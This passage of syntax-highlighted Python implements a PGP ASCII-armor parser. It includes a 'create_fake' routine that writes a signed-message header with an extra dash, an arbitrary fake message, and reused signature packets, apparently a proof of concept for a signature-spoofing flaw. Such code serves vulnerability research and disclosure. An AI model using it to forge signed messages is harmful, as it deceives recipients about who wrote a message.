418import</span><span style="color:#E6EDF3"> b64decode, standard_b64encode</span></span> 419<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> enum </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Enum</span></span> 420<span class="line"></span> 421<span class="line"><span style="color:#FF7B72">from</span><span style="color:#E6EDF3"> packets </span><span style="color:#FF7B72">import</span><span style="color:#E6EDF3"> Packets</span></span> 422<span class="line"></span> 423<span class="line"></span> 424<span class="line"><span style="color:#FF7B72">def</span><span style="color:#D2A8FF"> crc24</span><span style="color:#E6EDF3">(data: </span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">, init: </span><span style="color:#79C0FF">int</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">B704CE</span><span style="color:#E6EDF3">, poly: </span><span style="color:#79C0FF">int</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">1864CFB</span><span style="color:#E6EDF3">) -> </span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">:</span></span> 425<span class="line"><span style="color:#E6EDF3"> result </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> init</span></span> 426<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> byte </span><span style="color:#FF7B72">in</span><span style="color:#E6EDF3"> data:</span></span> 427<span class="line"><span style="color:#E6EDF3"> result </span><span style="color:#FF7B72">^=</span><span style="color:#E6EDF3"> byte </span><span style="color:#FF7B72"><<</span><span style="color:#79C0FF"> 16</span></span> 428<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> bit </span><span style="color:#FF7B72">in</span><span style="color:#79C0FF"> range</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">8</span><span style="color:#E6EDF3">):</span></span> 429<span class="line"><span style="color:#E6EDF3"> result </span><span style="color:#FF7B72"><<=</span><span style="color:#79C0FF"> 1</span></span> 430<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> (result </span><span style="color:#FF7B72">&</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">1000000</span><span style="color:#E6EDF3">):</span></span> 431<span class="line"><span style="color:#E6EDF3"> result </span><span style="color:#FF7B72">^=</span><span style="color:#E6EDF3"> poly</span></span> 432<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> result </span><span style="color:#FF7B72">&</span><span style="color:#FF7B72"> 0x</span><span style="color:#79C0FF">FFFFFF</span></span> 433<span class="line"></span> 434<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> ArmorHeaderTag</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">Enum</span><span style="color:#E6EDF3">):</span></span> 435<span class="line"><span style="color:#E6EDF3"> Version </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Version"</span></span> 436<span class="line"><span style="color:#E6EDF3"> Comment </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Comment"</span></span> 437<span class="line"><span style="color:#E6EDF3"> MessageID </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "MessageID"</span></span> 438<span class="line"><span style="color:#E6EDF3"> Hash </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Hash"</span></span> 439<span class="line"><span style="color:#E6EDF3"> Charset </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Charset"</span></span> 440<span class="line"><span style="color:#E6EDF3"> NotDashEscaped </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "NotDashEscaped"</span></span> 441<span class="line"></span> 442<span class="line"></span> 443<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> ArmorHeader</span><span style="color:#E6EDF3">:</span></span> 444<span class="line"><span style="color:#E6EDF3"> tag: ArmorHeaderTag</span></span> 445<span class="line"><span style="color:#E6EDF3"> value: </span><span style="color:#79C0FF">str</span></span> 446<span class="line"></span> 447<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">
447(self, line: </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">):</span></span> 448<span class="line"><span style="color:#E6EDF3"> parts </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> line.split(</span><span style="color:#A5D6FF">":"</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">)</span></span> 449<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#79C0FF"> len</span><span style="color:#E6EDF3">(parts) </span><span style="color:#FF7B72">==</span><span style="color:#79C0FF"> 2</span><span style="color:#E6EDF3">:</span></span> 450<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.tag </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorHeaderTag(parts[</span><span style="color:#79C0FF">0</span><span style="color:#E6EDF3">])</span></span> 451<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.value </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> parts[</span><span style="color:#79C0FF">1</span><span style="color:#E6EDF3">].strip()</span></span> 452<span class="line"><span style="color:#FF7B72"> else</span><span style="color:#E6EDF3">:</span></span> 453<span class="line"><span style="color:#FF7B72"> raise</span><span style="color:#79C0FF"> Exception</span><span style="color:#E6EDF3">(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"Invalid Header: At least one colon (':') expected"</span><span style="color:#E6EDF3">)</span></span> 454<span class="line"></span> 455<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __str__</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">:</span></span> 456<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.tag.value</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">: </span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.value</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">"</span></span> 457<span class="line"></span> 458<span class="line"></span> 459<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> ArmorSectionType</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">Enum</span><span style="color:#E6EDF3">):</span></span> 460<span class="line"><span style="color:#79C0FF"> PGP_MESSAGE</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "PGP MESSAGE"</span></span> 461<span class="line"><span style="color:#79C0FF"> PGP_PUBLIC_KEY_BLOCK</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "PGP PUBLIC KEY BLOCK"</span></span> 462<span class="line"><span style="color:#79C0FF"> PGP_PRIVATE_KEY_BLOCK</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "PGP PRIVATE KEY BLOCK"</span></span> 463<span class="line"><span style="color:#79C0FF"> PGP_SIGNATURE</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "PGP SIGNATURE"</span></span> 464<span class="line"><span style="color:#79C0FF"> PGP_SIGNED_MESSAGE</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "PGP SIGNED MESSAGE"</span></span> 465<span class="line"><span style="color:#79C0FF"> PGP_ARMORED_FILE</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "PGP ARMORED FILE"</span></span> 466<span class="line"></span> 467<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> is_binary</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">bool</span><span style="color:#E6EDF3">:</span></span> 468<span class="line"><span style="color:#FF7B72"> match</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">:</span></span> 469<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> ArmorSectionType.</span><span style="color:#79C0FF">PGP_PUBLIC_KEY_BLOCK</span><span style="color:#FF7B72"> |</span><span style="color:#E6EDF3"> ArmorSectionType.</span><span style="color:#79C0FF">PGP_PRIVATE_KEY_BLOCK</span><span style="color:#FF7B72"> |</span><span style="color:#E6EDF3"> ArmorSectionType.</span><span style="color:#79C0FF">PGP_SIGNATURE</span><span style="color:#E6EDF3">:</span></span> 470<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> True</span></span> 471<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> _:</span></span> 472<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> False</span></span> 473<span class="line"></span> 474<span class="line"></span> 475<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> ArmorSection</span><span style="color:#E6EDF3">:</span></span> 476<span class="line"><span style="color:#E6EDF3"> section_type: ArmorSectionType</span></span> 477<span class="line"><span style="color:#E6EDF3"> headers: list[ArmorHeader]</span></span> 478<span class="line"><span style="color:#E6EDF3"> message: </span><span style="color:#79C0FF">str</span></span> 479<span class="line"><span style="color:#E6EDF3"> data: list[</span><span style="color:#79C0FF">bytes</span><span style="color:#E6EDF3">]</span></span> 480<span class="line"></span> 481<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">(self, section_type: ArmorSectionType):</span></span> 482<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section_type </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> section_type</span></span> 483<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.headers </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> []</span></span> 484<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.message </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> ""</span></span> 485<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> []</span></span> 486<span class="line"></span> 487<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __str__</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">:</span></span> 488<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.is_binary():</span></span> 489<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Binary {</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 490<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> data </span><span style="color:#FF7B72">in</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.data:</span></span> 491<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" (</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(data)</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">): </span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">data.hex()</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">,</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 492<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#A5D6FF"> "}"</span></span> 493<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> message</span></span> 494<span class="line"><span style="color:#FF7B72"> else</span><span style="color:#E6EDF3">:</span></span> 495<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">=</span><span style="color:#A5D6FF"> "Cleartext {</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 496<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#A5D6FF"> " headers: {</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 497<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> header </span><span style="color:#FF7B72">in</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.headers:</span></span> 498<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" </span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">header</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">,</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 499<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#A5D6FF"> " },</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 500<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">" message: </span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">repr</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">
500self</span><span style="color:#E6EDF3">.message)</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">,</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span></span> 501<span class="line"><span style="color:#E6EDF3"> message </span><span style="color:#FF7B72">+=</span><span style="color:#A5D6FF"> "}"</span></span> 502<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#E6EDF3"> message</span></span> 503<span class="line"></span> 504<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> finalise</span><span style="color:#E6EDF3">(self):</span></span> 505<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.is_binary() </span><span style="color:#FF7B72">and</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.message </span><span style="color:#FF7B72">!=</span><span style="color:#A5D6FF"> ""</span><span style="color:#E6EDF3">:</span></span> 506<span class="line"><span style="color:#E6EDF3"> data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> b64decode(</span><span style="color:#79C0FF">self</span><span style="color:#E6EDF3">.message)</span></span> 507<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.data.append(data)</span></span> 508<span class="line"></span> 509<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> is_binary</span><span style="color:#E6EDF3">(self) -> </span><span style="color:#79C0FF">bool</span><span style="color:#E6EDF3">:</span></span> 510<span class="line"><span style="color:#FF7B72"> return</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section_type.is_binary()</span></span> 511<span class="line"></span> 512<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> create_fake</span><span style="color:#E6EDF3">(</span></span> 513<span class="line"><span style="color:#E6EDF3"> self,</span></span> 514<span class="line"><span style="color:#E6EDF3"> out_path: </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">,</span></span> 515<span class="line"><span style="color:#E6EDF3"> signature_packets: Packets,</span></span> 516<span class="line"><span style="color:#E6EDF3"> fake_message: </span><span style="color:#79C0FF">str</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "<insert your message here>"</span><span style="color:#E6EDF3">,</span></span> 517<span class="line"><span style="color:#E6EDF3"> ):</span></span> 518<span class="line"><span style="color:#FF7B72"> with</span><span style="color:#79C0FF"> open</span><span style="color:#E6EDF3">(out_path, </span><span style="color:#A5D6FF">"w"</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">as</span><span style="color:#E6EDF3"> fake_output:</span></span> 519<span class="line"><span style="color:#8B949E"> # Note the extra `-` at the end:</span></span> 520<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#A5D6FF">"-----BEGIN PGP SIGNED MESSAGE------</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 521<span class="line"><span style="color:#FF7B72"> for</span><span style="color:#E6EDF3"> header </span><span style="color:#FF7B72">in</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.headers:</span></span> 522<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">header</span><span style="color:#FF7B72">}\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 523<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">\n{</span><span style="color:#E6EDF3">fake_message</span><span style="color:#FF7B72">}\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 524<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#A5D6FF">"-----BEGIN PGP SIGNATURE-----</span><span style="color:#FF7B72">\n\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 525<span class="line"></span> 526<span class="line"><span style="color:#E6EDF3"> data </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> bytes</span><span style="color:#E6EDF3">(signature_packets)</span></span> 527<span class="line"></span> 528<span class="line"><span style="color:#E6EDF3"> b64_data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3">
528 standard_b64encode(data).decode(</span><span style="color:#A5D6FF">"utf8"</span><span style="color:#E6EDF3">)</span></span> 529<span class="line"><span style="color:#FF7B72"> while</span><span style="color:#79C0FF"> len</span><span style="color:#E6EDF3">(b64_data) </span><span style="color:#FF7B72">>=</span><span style="color:#79C0FF"> 64</span><span style="color:#E6EDF3">:</span></span> 530<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">b64_data[:</span><span style="color:#79C0FF">64</span><span style="color:#E6EDF3">]</span><span style="color:#FF7B72">}\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 531<span class="line"><span style="color:#E6EDF3"> b64_data </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> b64_data[</span><span style="color:#79C0FF">64</span><span style="color:#E6EDF3">:]</span></span> 532<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">b64_data[:</span><span style="color:#79C0FF">64</span><span style="color:#E6EDF3">]</span><span style="color:#FF7B72">}\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 533<span class="line"></span> 534<span class="line"><span style="color:#E6EDF3"> checksum </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> crc24(data).to_bytes(</span><span style="color:#FFA657">length</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> 3</span><span style="color:#E6EDF3">, </span><span style="color:#FFA657">byteorder</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "big"</span><span style="color:#E6EDF3">)</span></span> 535<span class="line"><span style="color:#E6EDF3"> b64_checksum </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> standard_b64encode(checksum).decode(</span><span style="color:#A5D6FF">"utf8"</span><span style="color:#E6EDF3">)</span></span> 536<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"=</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">b64_checksum</span><span style="color:#FF7B72">}\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 537<span class="line"><span style="color:#E6EDF3"> fake_output.write(</span><span style="color:#A5D6FF">"-----END PGP SIGNATURE-----</span><span style="color:#FF7B72">\n</span><span style="color:#A5D6FF">"</span><span style="color:#E6EDF3">)</span></span> 538<span class="line"></span> 539<span class="line"></span> 540<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> ArmorExpect</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">int</span><span style="color:#E6EDF3">, </span><span style="color:#79C0FF">Enum</span><span style="color:#E6EDF3">):</span></span> 541<span class="line"><span style="color:#E6EDF3"> Preamble </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> 1</span></span> 542<span class="line"><span style="color:#E6EDF3"> Header </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> 2</span></span> 543<span class="line"><span style="color:#E6EDF3"> Body </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> 3</span></span> 544<span class="line"></span> 545<span class="line"></span> 546<span class="line"><span style="color:#79C0FF">DASHES</span><span style="color:#FF7B72"> =</span><span style="color:#79C0FF"> 5</span><span style="color:#FF7B72"> *</span><span style="color:#A5D6FF"> "-"</span></span> 547<span class="line"><span style="color:#79C0FF">DASH_ESCAPE</span><span style="color:#FF7B72"> =</span><span style="color:#A5D6FF"> "- "</span></span> 548<span class="line"><span style="color:#79C0FF">BEGIN</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">DASHES</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">BEGIN "</span></span> 549<span class="line"><span style="color:#79C0FF">END</span><span style="color:#FF7B72"> =</span><span style="color:#FF7B72"> f</span><span style="color:#A5D6FF">"</span><span style="color:#FF7B72">{</span><span style="color:#79C0FF">DASHES</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">END "</span></span> 550<span class="line"></span> 551<span class="line"></span> 552<span class="line"><span style="color:#FF7B72">class</span><span style="color:#FFA657"> ArmorParser</span><span style="color:#E6EDF3">:</span></span> 553<span class="line"><span style="color:#E6EDF3"> expect: ArmorExpect</span></span> 554<span class="line"><span style="color:#E6EDF3"> dash_escaping: </span><span style="color:#79C0FF">bool</span></span> 555<span class="line"><span style="color:#E6EDF3"> section: ArmorSection </span><span style="color:#FF7B72">|</span><span style="color:#79C0FF"> None</span></span> 556<span class="line"><span style="color:#E6EDF3"> sections: list[ArmorSection]</span></span> 557<span class="line"></span> 558<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#79C0FF"> __init__</span><span style="color:#E6EDF3">(self):</span></span> 559<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.expect </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorExpect.Preamble</span></span> 560<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.dash_escaping </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> True</span></span> 561<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> None</span></span> 562<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.sections </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> []</span></span> 563<span class="line"></span> 564<span class="line"><span style="color:#FF7B72"> def</span><span style="color:#D2A8FF"> push_line</span><span style="color:#E6EDF3">
564(self, line: </span><span style="color:#79C0FF">str</span><span style="color:#E6EDF3">):</span></span> 565<span class="line"><span style="color:#E6EDF3"> line </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> line.rstrip()</span></span> 566<span class="line"></span> 567<span class="line"><span style="color:#FF7B72"> match</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.expect:</span></span> 568<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> ArmorExpect.Preamble:</span></span> 569<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> line.startswith(</span><span style="color:#79C0FF">BEGIN</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">and</span><span style="color:#E6EDF3"> line.endswith(</span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">):</span></span> 570<span class="line"><span style="color:#E6EDF3"> section_type </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorSectionType(line[</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">BEGIN</span><span style="color:#E6EDF3">):</span><span style="color:#FF7B72">-</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">)].strip())</span></span> 571<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorSection(section_type)</span></span> 572<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.expect </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorExpect.Header</span></span> 573<span class="line"></span> 574<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> ArmorExpect.Header:</span></span> 575<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> line </span><span style="color:#FF7B72">==</span><span style="color:#A5D6FF"> ""</span><span style="color:#E6EDF3">:</span></span> 576<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.expect </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorExpect.Body</span></span> 577<span class="line"><span style="color:#FF7B72"> else</span><span style="color:#E6EDF3">:</span></span> 578<span class="line"><span style="color:#E6EDF3"> header </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorHeader(line)</span></span> 579<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.headers.append(header)</span></span> 580<span class="line"><span style="color:#FF7B72"> match</span><span style="color:#E6EDF3"> header.tag:</span></span> 581<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> ArmorHeaderTag.Hash:</span></span> 582<span class="line"><span style="color:#FF7B72"> pass</span></span> 583<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> ArmorHeaderTag.NotDashEscaped:</span></span> 584<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.dash_escaping </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> False</span></span> 585<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> _:</span></span> 586<span class="line"><span style="color:#FF7B72"> pass</span></span> 587<span class="line"></span> 588<span class="line"><span style="color:#FF7B72"> case</span><span style="color:#E6EDF3"> ArmorExpect.Body:</span></span> 589<span class="line"><span style="color:#E6EDF3"> opening </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.section_type</span></span> 590<span class="line"></span> 591<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> line.startswith(</span><span style="color:#79C0FF">END</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">and</span><span style="color:#E6EDF3"> line.endswith(</span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">):</span></span> 592<span class="line"><span style="color:#E6EDF3"> closing </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorSectionType(line[</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">END</span><span style="color:#E6EDF3">):</span><span style="color:#FF7B72">-</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">)].strip())</span></span> 593<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> opening </span><span style="color:#FF7B72">!=</span><span style="color:#E6EDF3"> closing:</span></span> 594<span class="line"><span style="color:#FF7B72"> raise</span><span style="color:#79C0FF"> Exception</span><span style="color:#E6EDF3">(</span><span style="color:#FF7B72">f</span><span style="color:#A5D6FF">"Mismatch between opening (</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">opening</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">) and closing (</span><span style="color:#FF7B72">{</span><span style="color:#E6EDF3">closing</span><span style="color:#FF7B72">}</span><span style="color:#A5D6FF">) header line"</span><span style="color:#E6EDF3">)</span></span> 595<span class="line"></span> 596<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section.finalise()</span></span> 597<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.sections.append(</span><span style="color:#79C0FF">
597self</span><span style="color:#E6EDF3">.section)</span></span> 598<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.section </span><span style="color:#FF7B72">=</span><span style="color:#79C0FF"> None</span></span> 599<span class="line"><span style="color:#79C0FF"> self</span><span style="color:#E6EDF3">.expect </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorExpect.Preamble</span></span> 600<span class="line"></span> 601<span class="line"><span style="color:#FF7B72"> elif</span><span style="color:#E6EDF3"> line.startswith(</span><span style="color:#79C0FF">BEGIN</span><span style="color:#E6EDF3">) </span><span style="color:#FF7B72">and</span><span style="color:#E6EDF3"> line.endswith(</span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">):</span></span> 602<span class="line"><span style="color:#E6EDF3"> section_type </span><span style="color:#FF7B72">=</span><span style="color:#E6EDF3"> ArmorSectionType(line[</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">BEGIN</span><span style="color:#E6EDF3">):</span><span style="color:#FF7B72">-</span><span style="color:#79C0FF">len</span><span style="color:#E6EDF3">(</span><span style="color:#79C0FF">DASHES</span><span style="color:#E6EDF3">)].strip())</span></span> 603<span class="line"><span style="color:#FF7B72"> if</span><span style="color:#E6EDF3"> section_type </span><span 